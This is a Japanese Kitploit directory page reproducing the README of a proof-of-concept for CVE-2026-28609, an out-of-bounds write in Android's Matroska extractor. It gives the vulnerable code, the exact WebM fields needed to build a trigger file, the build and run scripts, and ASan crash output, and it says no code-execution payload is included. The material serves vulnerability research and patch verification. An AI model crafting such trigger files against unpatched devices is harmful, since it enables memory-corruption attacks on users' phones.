Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/devrodt2/cve-2026-28609-matroska-pcm-oob
Androidセキュリティメモリフォレンジック脆弱性分析エクスプロイトリバースエンジニアリングファジングモバイルセキュリティバイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
devrodt2/cve-2026-28609-matroska-pcm-oob

CVE-2026-28609-matroska-pcm-oob

CVE-2026-28609の概念実証および計測可能な再現ハーネス。これはAndroidのMatroskaExtractorにおける境界外書き込みであり、ビッグエンディアンPCMオーディオトラックを含む細工されたWebMファイルを介して到達可能です。

リポジトリを見る
2時間56分前未レビュー

CVE-2026-28609 — Matroska PCM 境界外書き込み

CVE-2026-28609 の概念実証、計測可能な再現ハーネス、および技術解説。これは Android の MatroskaExtractor における境界外書き込みであり、ビッグエンディアンの PCM オーディオトラックを含む細工された WebM ファイルを介して到達可能です。

概要

  • CVE ID: CVE-2026-28609
  • ベンダー: Google / Android
  • コンポーネント: frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cpp
  • 問題: 不適切なキャストによる境界外書き込み
  • CWE: CWE-787 / CWE-704
  • 影響を受けるバージョン: Android 14, 15, 16, 16 QPR2
  • 深刻度: 高
  • 影響: リモートコード実行の可能性
  • AOSP issue: A-485377744
  • パッチ: 2026年9月の Android セキュリティアップデートで対応済み

1. 概要

Android の MatroskaExtractor 内の MatroskaSource::read() には、PCM ビッグエンディアンのバイトスワップループが含まれており、frame->range_offset()(バイトオフセット)を加算する前にフレームデータポインタを uint16_t * にキャストしています。uint16_t * に対する C のポインタ演算ではオフセットが sizeof(uint16_t) = 2 倍にスケールされるため、結果のポインタはバッファの先頭から range_offset バイトではなく 2 * range_offset バイト先を指します。

range_offset > 0 の場合、ループはフレームの MediaBuffer の終端を越えて1バイト以上を読み書きします。ASan のないデバイスでは、過剰読み取りは静かに成功し、過剰書き込みはバッファの直後のバイトを破壊します。

脆弱な行:

root@kitploit:~
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    dstData[i] = ntohs(srcData[i]);
}

上流の修正では、オフセットを適用する前にポインタを uint8_t * にキャストしています:

root@kitploit:~
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    data[i] = ntohs(data[i]);
}

2. このリポジトリが実証するもの

実際の Android 14 デバイス上で AddressSanitizer を用いて検証された、CVE-2026-28609 の動作する再現可能なトリガーです。リポジトリには以下が含まれます:

  1. 非ゼロの range_offset でエクストラクタを脆弱な分岐に導く WebM ファイルを生成する Python ジェネレータ。
  2. dlopen を介してエクストラクタプラグインをロードし、GETEXTRACTORDEF を呼び出し、ファイルからフレームを読み取る C-ABI ハーネス。
  3. 脆弱な AOSP エクストラクタの ASan 計測済みコピーをコンパイルし、デバイスのメディアフレームワークライブラリにリンクする一連の ビルドスクリプト。
  4. インクルードディレクトリの自動検出機能を備えた ビルド設定。これにより、ビルドは任意の AOSP チェックアウトに適応します。

脆弱なデバイスでの結果:

root@kitploit:~
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
    #0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region

3. トリガーの仕組み

脆弱な分岐は、以下のすべてが真であることを必要とします:

条件ソース

最初の3つは、コーデック ID A_PCM/INT/BIG とビット深度 16 でトラックを宣言することで満たされます。4番目が興味深い点です。

range_offset は、readBlock() から以下の条件で呼び出される MatroskaSource::setWebmBlockCryptoInfo() においてのみ非ゼロ値に設定されます:

root@kitploit:~
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
    err = setWebmBlockCryptoInfo(mbuf);
}

したがって、トリガーファイルは以下を満たす必要があります:

  • mIsWebm — EBML の DocType 要素が "matroska" ではなく "webm" でなければなりません。
  • mEncrypted — トラックは ContentEncodingType = 1(暗号化)と ContentEncKeyID を持つ ContentEncodings を宣言する必要があります。
  • 非暗号化フレーム — 各フレームの最初のバイトは、下位ビット(0x1)が 0 のシグナルバイトでなければならず、これはフレームが暗号化されていないがコンテンツエンコードされていることを示します。これにより setWebmBlockCryptoInfo の else 分岐が実行され、set_range(1, len - 1) が呼び出されます。

ストリップ後、すべてのフレームで range_offset = 1 になります。脆弱な分岐は (uint16_t *)data + 1 を計算し、これは 2 バイト進み、ループはバイト [2, 2 + range_length) を読み書きします — これは 65 バイトの割り当て(64 バイトのフレーム + 1 バイトのシグナル)の終端を1バイト超えています。

トリガーフレームのバイト配置

root@kitploit:~
+---------+------------------------------------+
| 0x00    | 64 bytes of frame data (0xAA...)   |
+---------+------------------------------------+
  signal               PCM payload

シグナルバイト 0x00 は set_range(1, 64) によってストリップされ、65 バイトの割り当て内に 64 バイトのフレームが残ります。脆弱なポインタ演算はその後、バイトオフセット 2 から 65 に書き込みます。


4. リポジトリ構成

root@kitploit:~
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│   └── generator.py             WebM generator + verifier
│
├── harness/
│   └── harness_c_abi.cpp        dlopen-based trigger harness
│
└── scripts/
    ├── build.conf               API level, sanitizer, RTTI flags
    ├── include_dirs.conf.sample Include roots template
    ├── build_foundation.sh      Build the foundation archive
    ├── build_plugin.sh          Build the extractor plugin
    ├── build_harness.sh         Build the harness
    └── run.sh                   End-to-end build + push + run

ビルド前にユーザーがクローンする上流の依存関係:

root@kitploit:~
av/                    frameworks/av (AOSP)
libwebm/               external/libwebm (mkvparser)
flac/                  external/flac
aosp-includes/         system/core, system/logging, system/libbase,
                       frameworks/native — header trees only
aosp-includes/libs/    libstagefright_foundation.so, libmedia.so,
                       libutils.so, libbinder.so, libcutils.so,
                       libbase.so, libmediandk.so, libstagefright_flacdec.so
                       — pulled from the target device

5. 前提条件

  • ホスト: bash、python3、make を備えた Linux または WSL2
  • NDK: Android NDK r27+、$ANDROID_NDK_HOME で設定
  • デバイス: セキュリティパッチレベルが 2026年9月より前 の Android 14、15、16、または 16-QPR2
  • ADB: PATH 上の adb(Linux、または WSL からの adb.exe)
  • ディスク: AOSP クローン用に約 1.5 GB

6. ビルド

6.1 上流の依存関係をクローン

root@kitploit:~
mkdir -p deps && cd deps

# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
    https://android.googlesource.com/platform/frameworks/av av

# libwebm (mkvparser)
git clone --depth 1 \
    https://android.googlesource.com/platform/external/libwebm libwebm

# libFLAC
git clone --depth 1 \
    https://android.googlesource.com/platform/external/flac flac

# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
    git clone --depth 1 \
        "https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..

AOSP ツリーがモジュラーエクストラクタレイアウト(av/media/module/extractors/mkv/)を使用している場合、それ以上の調整は不要です。古いレイアウト(av/media/libstagefright/matroska/)を使用している場合は、MKV 変数についてビルドスクリプトを参照してください。

6.2 デバイスライブラリを取得

root@kitploit:~
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
           libmedia.so libutils.so libbinder.so libcutils.so \
           libbase.so libmediandk.so; do
    adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done

6.3 設定

root@kitploit:~
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf   # if provided separately
$EDITOR scripts/build.conf

ANDROID_API をターゲットデバイスに合わせて設定します(例: Android 14 の場合は 34)。

6.4 ビルドと実行

root@kitploit:~
./scripts/run.sh

run.sh スクリプトは4つのステップを順に実行します:

  1. build_foundation.sh — av/media/module/foundation/ と av/media/module/metadatautils/ から28個のソースファイルを plugin-asan/libstagefright_foundation_asan.a にコンパイルします。
  2. build_plugin.sh — MatroskaExtractor.cpp、mkvparser.cc、mkvreader.cc をコンパイルし、アーカイブとリンクして libmkvextractor_asan.so を作成します。
  3. build_harness.sh — harness_c_abi を -shared-libsan でコンパイルします。
  4. プラグイン、ハーネス、ASan ランタイム、poc.mkv を /data/local/tmp にプッシュし、ハーネスを実行します。

ビルドスクリプトは不足しているインクルードルートを自動検出します。コンパイラが fatal error: 'X' file not found を報告すると、スクリプトは依存関係ツリーを検索し、X の親ディレクトリを見つけて include_dirs.conf に追加します。これが最初のビルド中に include_dirs.conf が成長する理由です。すべてのヘッダーが検出されると、ファイルは安定し、以降のビルドは決定論的になります。


7. 期待される出力

脆弱なデバイスでは、ハーネスは以下を出力します:

root@kitploit:~
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor  uuid[0..3]=abbedd92  version=1  api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
    #0 0x71ecb0ec48  (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
    #1 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #2 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #3 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)

0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
    #0 0x727c507668  (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
    #1 0x5861ac26c0  (/data/local/tmp/harness_c_abi+0x46c0)
    #2 0x71ecb15e7c  (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
    #3 0x71ecb0b50c  (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
    #4 0x71ecb0d96c  (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
    #5 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #6 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #7 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
    #8 0x5861ac15f4  (/data/local/tmp/harness_c_abi+0x35f4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
  0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
  0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
  0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14927==ABORTING
Aborted

3つの数値がトリガーを確認します:

  • WRITE of size 2(または、ASan が data[i] = ntohs(data[i]) の読み取り側を先に捕捉した場合は READ)
  • 65-byte region — フレームの割り当ては 64 データバイト + 1 バイトの暗号化シグナル
  • 0 bytes after — アクセスは割り当ての直後の最初のバイトに到達

8. この PoC がしないこと

  • RCE なし。 トリガーは ASan レポートで終了します。書き込みプリミティブを実証しますが、コード実行に武器化することはありません。
  • ヒープグルーミングなし。 1バイトのオーバーフローは暗号化シグナルのサイズによって制限されます。より大きなオーバーフローには setWebmBlockCryptoInfo の分割暗号化パス(シグナルバイト 0x03)が必要ですが、これはこのジェネレータでは実行されません。
  • 永続化なし。 ハーネスプロセス自体以外にターゲット上でコードは実行されず、実行して終了します。
  • システム変更なし。 /data/local/tmp の外側には何も触れません。プラグインはハーネスプロセスによってのみロードされます。

9. 検証

ジェネレータには検証機能が組み込まれています。プッシュする前に実行してください:

root@kitploit:~
python3 exploit/generator.py poc.mkv

期待される出力:

root@kitploit:~
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify]      cause readBlock to strip the 1-byte signal via
[verify]      set_range(1, len-1), setting range_offset=1
[verify]      on every PCM frame. The uint16_t* cast in the
[verify]      vulnerable branch then writes 2 bytes past the
[verify]      end of the 64-byte frame buffer.

必要なすべてのフィールドがチェックされます: DocType、TrackType、CodecID、BitDepth、Channels、ContentEncodingType、ContentEncodingScope、ContentEncAlgo、ContentEncKeyID。いずれかのフィールドが間違っている場合、ジェネレータは FAIL で終了し、具体的な不一致を出力します。


10. タイムライン

日付イベント
2026-03-02Google により CVE が予約される
2026-09-08Android Security Bulletin で公開開示
2026-09-09LineageOS lineage-20.0 に修正がマージされる(change 497992)
2026-09この PoC が開発され、実機で検証される

11. 参考文献

  • Android Security Bulletin — September 2026
  • AOSP: frameworks/av
  • AOSP: external/libwebm
  • LineageOS Gerrit change 497992
  • NVD entry for CVE-2026-28609
  • AddressSanitizer

12. 免責事項

このリポジトリは防御的セキュリティ研究および脆弱性検証のみを目的として公開されています。以下の用途を想定しています:

  • 自身のテストデバイスに対して CVE を検証するセキュリティ研究者
  • パッチが適用されていることを確認する Android プラットフォームメンテナ
  • 隔離されたハードウェアでトリガーを再現し、露出を判断するインシデント対応者

所有していないデバイス、またはテストに対する明示的な書面による許可を持たないデバイスでこのコードを使用しないでください。 自身のものではないデバイスでハーネスを実行したり、ジェネレータを使用して配布用のトリガーファイルを生成したりすることは、お住まいの管轄区域のコンピュータ不正使用法および GitHub の Acceptable Use Policy に違反する可能性があります。

著者は、この研究を悪意のある目的で使用することを容認しません。ジェネレータによって生成されるトリガーファイルは、AddressSanitizer 下で特定の関数をクラッシュさせるように設計されており、実行可能なペイロードを含まず、システムを変更せず、ハーネスプロセスを超えて永続化しません。

いかなる保証も提供されません。 コードは現状のまま提供されます。著者は、誤用または本番ハードウェアでのハーネス実行によって生じたいかなる損害についても責任を負いません。

ベンダーであり、このリポジトリに協調的開示の下で扱われるべき資料が含まれていると考える場合は、issue を開いてください。著者は 72 時間以内に対応します。


13. ライセンス

このプロジェクトは Apache-2.0 ライセンスの下でリリースされています。全文は LICENSE を参照してください。

Copyright © 2026 — the CVE-2026-28609 PoC contributors.

scripts/include_dirs.conf.sample

クローン後にこれを include_dirs.conf にリネームしてください。これはシードです。ビルドスクリプトは最初の実行中にこれを拡張します。

root@kitploit:~
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.

$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include

scripts/build.conf.sample

クローン後に build.conf にリネームしてください。

root@kitploit:~
# build.conf — build configuration for CVE-2026-28609 PoC

# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34

# Enable AddressSanitizer.
ENABLE_ASAN=1

# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"

# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
ツールをダウンロード
トラックが PCM
mType == PCM
ビッグエンディアンAMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1
16ビットサンプルAMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16
フレームの range_offset が非ゼロset_range(offset, ...) によって設定